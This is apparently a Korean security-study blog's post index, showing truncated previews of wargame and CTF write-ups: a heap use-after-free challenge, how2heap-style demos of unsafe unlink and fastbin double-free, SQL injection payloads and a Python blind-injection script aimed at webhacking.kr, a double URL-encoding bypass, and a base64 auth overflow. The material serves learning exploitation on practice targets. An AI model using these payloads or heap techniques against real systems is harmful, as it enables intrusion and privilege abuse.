목록공부 (15)
hOwDayS 선린 10720
소개 단순한 힙 문제다보호 기법 RELRO Partial RELROStack CanaryCanary Found NX Nx enabled PIE NO PIE 분석 main 1. addnote 2. deletenote3. printnote addnote 8만큼 할당 시킨다음 함수 포인터를 넣는다그리고 노트 사이즈만큼 할당시킨다 deletenote 함수포인터와 노트를 free한다 printnote 인덱스를 입력받아 함수포인터를 실행한다 Leak 노트를 삭제할때 노트를 담는 전역변수 포인터 ptr에서 삭제 안시켜준다는 점에서 릭을 할 수 있다. 1. smallbin 를 두개 할당 2. smallbin 하나 삭제 2. smallbin 삭제한 것을 print note Exploit 이것도 Leak과 똑같은 취약점으..
제가 이해할 수 있도록 쓴 글 입니다. 필력..부족.. 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071#include #include #include #include uint64_t *chunk0_ptr; int main(){ fprintf(stderr, "Welcome to unsafe unlink 2.0!\n"); fprintf(stderr, "Tested in Ubuntu 14.04/16.04 64bit.\n"); fprintf(stderr, "This technique can be used when you h..
저의 방식대로 이해하고 쓴 것 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#include #include int main(){ fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n"); unsigned long long stack_var; fprintf(stderr, "The address we want malloc() to return is %p.\n", ..
123456789101112131415161718192021222324252627282930313233#include #include int main(void) { printf("이 파일은 fastbin에서의 간단한 double-free 공격을 보여줍니다.\n"); printf("먼저 세 개의 버퍼를 할당합니다.\n"); int* a = malloc(8); int* b = malloc(8); int* c = malloc(8); printf("첫 번째 malloc(8): %p\n", a); printf("두 번째 malloc(8): %p\n", b); printf("세 번째 malloc(8): %p\n", c); printf("그 다음 첫 번째를 free합니다.\n"); free(a); printf("만약..
admin , ip , dummy 를 넣어야 된다insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone),010),('admin','1.236.88.213',010 을 넣으면insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]', 010),('admin','1.236.88.213',010)' 가 안되므로 char 로 이용해 아스키코드로 입력한다 http://webhacking.kr/challenge/web/web-17/index.php?phone=010),(char(97,100,..
urldecode 16진수 디코딩%61%64%6D%69%6E 을 입력하면 안된다.알아보니까 입력하고 엔터를 누르면한번 디코딩이 된다.그러므로 한번더 인코딩한다%2561%2564%256D%2569%256E
user key = md5값md5를 복호화하는 내가 join한 uuid + salt (zombie) 가 붙어있었음 sql 인젝션을 확인하기 위해 username에 admin' 1=1#을 넣으면 Wrong password! 페이지가 뜬다sql 인젝션의 가능을 확인했으니 blind injection으로 and 를 사용해 입력하면 된다 12345678910111213141516171819202122232425262728import httplibimport urllib2 , urllibimport re pw = "" #resultmd5_range = range(48,58)#numbermd5_range+=range(97,104)#letter result = ""url="http://webhacking.kr/cha..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
사용자에게 입력을 받은 후 입력받은 값을 base64로 디코딩한다. -> 입력하고자하는 값은 base64로 인코딩을 하여 값을 넣어야됨base64로 디코딩한것을 input에 저장한다auth함수로 가서 참일 경우에correct함수를 실행시킨다 auth함수해시를 계산하여 출력한 후 f87..34까지 비교한다하지만 똑같은 값을 입력해도 계속 값이 바뀐다. -> strcmp문을 충족하게 만들기 어려움 correct 함수input값과 = deadbeef 값이 같을때 실행한다 하지만 우리는 auth함수을 충족하기 어려우므로 correct함수를 실행할 수 없다 하지만 gdb로 분석을 하는 중 leave에서 특이한 점이 걸렸다(입력값은 AAABBBBCCCC를 base64로 인코딩한 QUFBQUJCQkJDQ0ND 를입력..